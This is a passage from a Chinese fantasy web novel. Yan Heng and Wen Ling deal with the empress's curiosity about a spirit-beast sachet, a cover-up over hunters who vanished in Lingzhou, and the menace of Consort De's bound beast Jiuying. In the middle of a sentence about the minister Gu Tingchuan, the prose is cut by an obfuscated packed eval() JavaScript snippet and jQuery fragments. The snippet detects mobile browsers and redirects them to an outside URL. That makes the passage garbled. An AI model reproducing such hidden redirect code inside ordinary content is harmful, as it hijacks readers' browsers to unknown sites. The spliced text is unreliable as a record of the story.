炎珩自幼便拿这个亲姐姐无可奈何，只得尝试晓之以情，软声道，
“皇姐，这个香包于我很重要，还请归还。”
炎珩知景和性格吃软不吃硬，听他如此说定会归还，便摊开掌心静静候着。
景和公主捻着香包，鼻端余香未散。那香气似带着钩子，引人忍不住再嗅一回。她原还舍不得，待听见炎珩低声相求，终究还是叹了一声，
“罢了罢了，君子不夺人所好。”
虽带三分不情愿，却将香包轻轻放回炎珩掌中。
香包回到手里，炎珩暗暗松了口气，谁知尚未来得及重新系回玉带，便听皇后带着兴味开口，
“有多稀罕，也让本宫瞧瞧。”
炎珩闻言，动作一顿，却也只得依礼将香包奉上。
景和公主在旁按捺不住，
“母后，这香包妙就妙在香气会随时间变换。”
皇后接过香包，将其送至鼻下轻嗅。
初闻，仿佛置身春日晴光下的原野，草木新生；再闻，气息渐沉，似雨后山林，湿润清凉；待那香意缓缓散开，竟隐能嗅出秋风清肃与冬雪微寒。
一枚小小香包，竟将四时气息尽数收拢其中。
皇后眉目间掠过一丝讶然，终是耐不住好奇香包出处，
“果然别致，难怪景和喜欢。”
她闲时喜好制香，耐不住好奇香包配方，
“珩儿，这香包何人所送？”
炎珩不欲说出闻泠，担心给她招来差事，犹豫着不知如何开口。
闻泠原不愿将话头引到自己身上，只是皇后目光澄然，显然一副不问清楚便不肯罢休的模样，她只得接过话来，
“回母后，此香包乃是儿臣赠与王爷的谢灵之礼。”
景和公主闻言一怔，随即笑得更盛，
“哦——原来是王妃做的。”她故意拉长尾音，目光在闻泠与炎珩之间扫视，
“怪不得是重要之物。”
景和公主眉眼弯弯，笑意分明，倒是皇后将香包托在掌心，神色愈发专注，仿佛面对的是天下奇珍，
“本宫倒想学学，”
“这香包，是用何物所制，竟能层层回转，香意不绝。”
闻泠心知皇后定是懂香之人，索性直言相告，
“回母后，这香包乃是我收养的几只灵兽合力所制。”
“哦？”皇后只觉闻泠虚言，
却听闻泠细细说道，
“此香包外帛由丹霞鼠染制，内蕴草灵蜥所择宁神清气之药，佐以螫蝎微量幻毒以致安神之效，最后再由冰灵蜥以寒息凝香，使诸味相融。”
皇后目光审视地看着闻泠。
世人驭兽，多以血契，灵兽方肯俯首听命。闻泠结契性烈如火的上古神兽腾蛇已令她侧目，可听她描述，冰灵蜥、草灵蜥、丹霞鼠、螫蝎，这一只只灵兽竟为她各司其能，共成一事。
“你结契了这所有灵兽？”皇后半信半疑道，
“回母后，并未结契，它们受伤被我所救，现下暂居我处养伤。”
“香包也只是他们愿意相助而已”
不用结契，灵兽亦肯听命，皇后更加肯定了她是听灵一族。
“倒是本宫狭隘了。”
景和公主见皇后对闻泠面露欣赏之色，欲与她亲近，便道，
“泠儿可否也让灵兽们为我做一个？”
这声“泠儿”落下，闻泠尚未回话，炎珩却已抿嘴蹙眉——他用条件换得的亲昵称呼如今被景和叫得顺口不说，还想要他本是世间独一无二的香包。
炎珩袖中已攥紧拳头，心里生出一丝酸意。
闻泠见平时天不怕地不怕的炎珩都被景和公主血脉压制，不欲得罪，笑着点了点头道，
“若公主殿下不嫌弃，改日我再求灵兽制一个便是。”
闻泠心中甚觉微妙。
当初应付谢灵礼所做的一件小物，竟在见多识广的后宫成了香饽饽，香包如果投入市场，抢手程度可见一斑。
世人向来畏惧灵兽，谈之多是祸乱，若用商业之法慢慢将灵兽引入日常生活，让人知其可共处，或许可以扭转久积成见。
她眼神发亮，暗暗决定，待回府后她要与灵兽们好好商量一番。
在昭仁宫用过午膳，闻泠便与炎珩与皇后告退，返回肃王府。
闻泠一下马车便径直去往偏院，那里是炎珩婚前便吩咐收拾出来，以供闻泠安置灵兽之用。灵宠们已随她入住之时便运来，一同运来的还有那颗扶桑幼树。
而炎珩也并未歇下。
他先行回了正寝，查看新换的床榻。这是他询问了任妈妈紧急购置的将军府同款，不紧床铺软硬相同，连枕头高度都分毫不差，当任妈妈确认无误，他这才放心去了书房。
书房中，赤翎雕已栖在金架上等候许久，书案上早已放着它从灵州送回的密报。炎珩解开信筒封蜡，目光落在字行之间，眉目渐渐收紧。
灵州新任官员，名义上由工部举荐，实则暗线纵横，皆与端王一系与近年渐得圣眷的数位宗室往来密切。截下的往来书信也多以i为名，字字句句透着异样。
更蹊跷的是，羿行赶至灵州时，发现数月前自炎国各地招募而来的捕兽人，竟无一在册且皆下落不明，竟仿佛从未存在过一般。
市集中那眉间带疤的捕兽人曾亲口言道，当初招工将近五百人。五百之数，既无名册，亦无尸骸，看来事态比他预想的严重很多，他原以为是端王派系逐利，可如今看来，却是一条草菅人命的暗河。
炎珩合上册子，起身出府。
*
卯时初过，钟磬声歇，金銮殿内百官列班，兵部尚书顾廷川出列。
他年近五旬，鬓角微霜，背脊却笔直，
“臣顾廷川，有本启奏。”
顾廷川不疾不徐，将袖中奏本呈上，言辞条理分明，
“灵州旧境，新设官署以修渠引水、采矿开山为名，先后征调民夫、杂役数百。然今工事告竣，所调之人竟无一归返。其家属相继呈报，或久候无音，或踪影全无。臣查诸案牍，既无遣返之册，亦无伤亡之录，去向成谜，实属可疑。”
顾廷川语气不高，却字字落地。
“臣以为，此事绝非寻常工事，恐有隐情，恳请陛下彻查。”
殿中一时鸦雀无声。
丹墀之上，炎帝听完他的奏报，神色未变，似是早知此事般，
“灵州之事，朝中牵连甚广，又涉旧境新政，不宜轻动。”
见顾廷川未有回列之意，皇帝继续道，
“端王素来谨慎，此事便交由端王彻查罢。”
端王出列领旨。
顾廷川再欲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030797|194551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进言，却被皇帝抬手止住。
“兵部事务繁重，顾卿不必分心旁事。”
因大婚之故，炎珩得三日休沐，待他得知灵州之事结果，已是退朝之后。
又是端王。
若皇帝真要明查，怎会偏偏交给与灵州牵扯最深之人。
这并非查案，而是结案。
炎珩眸色渐沉，如寒霜覆水。
灵州之事，明路怕是走不通了。
*
窗外日光正好，闻泠在亭中正翻看医书，听见脚步声，她回头便见炎珩眉目冷沉的步入院中，
“珩儿，这是怎么了？”
虽然每次这样称呼炎珩让她后背起鸡皮疙瘩，但她强迫自己养成习惯。
炎珩在她对面坐下，低声道，
“灵州之事，我查到了。”
闻泠眉心一跳，心中已有不祥预感，
“回音山名义修渠、采矿，实则在回音山捕杀灵兽。”炎珩轻叹一声，
“数百捕兽人现在凭空消失，尸骨无踪。”
“早朝上，我的人将此事上禀父皇。”炎珩有些迟疑，
闻泠有些心急，于是问道，
“陛下如何处置？”
“交给端王查。”
见闻泠疑惑，炎珩为她细细解释端王与灵州关联。
闻泠见他坦诚将所查相告，也将道观之事告知。
“那我们不便再放在明面上了。”
炎珩点头。
“既然道观与灵州有关，我们不妨从道观下手。”
说到这里，闻泠想起来腾蛇提醒，
“德妃身上，有道观中的镇守之兽的气息，并且非常强大。”
炎珩听见“德妃”二字，眉心皱的更紧了。
要说天生好战嗜血的神兽，德妃的契兽九婴一定榜上有名。
他到现在都还记得九婴现世的那一年，当时国都连月无雨，疫情并起。一日夜半时分，守城军听见婴啼自城北山上传来，便上山探寻。结果上山军兵三日之内疯了七人，余下的皆自断喉舌，血溅城墙。
他不知素来以仁德闻名的德妃，如何与九婴结契，只知那年之后，德妃就像变了一个人一样，宫中失踪的宫女也忽然多了起来。
不仅如此，德妃经常夜半焚烧怪香，那香味甜腻中带着焦苦，顺着夜风在皇宫中飘散。附近夜巡的宫人常无端心悸，回去便高烧不退。
炎珩初闻这些传闻时，尚且年少。彼时九婴虽已与德妃结契，却未现宫中，他只当是后宫流言，未曾放在心上。
九婴。
闻泠说不怕那是假的，她记得九婴乃是上古大凶之一，九首蛇身，啼声如婴。但是她想起狌狌，想起回音山上被杀的灵兽，
“我的腾蛇加上你的赤翎雕，对付九婴，可有胜算？”
炎珩闻言，目光微沉，阳光将他的影子在地上拉得极长。他垂眸思索片刻，才缓缓开口，难掩凝重，
“若论正面一战，”他如实道，“胜算不足七成。”
“腾蛇被冰阵镇压太久，又与你结契，灵息尚未修复。”
闻泠忽然想到什么，有些惊喜却带着不确定，
“如果我们有它，会不会不用正面一战？”
炎珩与她对视，两人心照不宣，一起向肃王府中那专属闻泠灵兽的偏苑走去。